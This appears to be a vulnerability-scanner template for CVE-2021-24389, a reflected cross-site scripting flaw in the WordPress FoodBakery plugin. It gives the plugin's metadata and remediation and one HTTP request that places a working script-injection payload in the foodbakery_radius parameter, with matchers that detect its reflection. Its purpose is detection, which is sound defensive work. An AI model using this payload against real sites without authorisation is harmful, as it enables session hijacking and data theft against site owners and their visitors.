WordPress FoodBakery <2.2 - Cross-Site Scripting

id: CVE-2021-24389

info:
  name: WordPress FoodBakery <2.2 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress FoodBakery before 2.2 contains an unauthenticated reflected cross-site scripting vulnerability. It does not properly sanitize the foodbakery_radius parameter before outputting it back in the response.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update the WordPress FoodBakery plugin to version 2.2 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/23b8b8c4-cded-4887-a021-5f3ea610213b
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24389
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24389
    cwe-id: CWE-79
    epss-score: 0.04348
    epss-percentile: 0.90053
    cpe: cpe:2.3:a:chimpgroup:foodbakery:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: chimpgroup
    product: foodbakery
    framework: wordpress
  tags: cve2021,cve,wordpress,xss,wp-plugin,wpscan,chimpgroup,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/listings/?search_title=&location=&foodbakery_locations_position=filter&search_type=autocomplete&foodbakery_radius=10%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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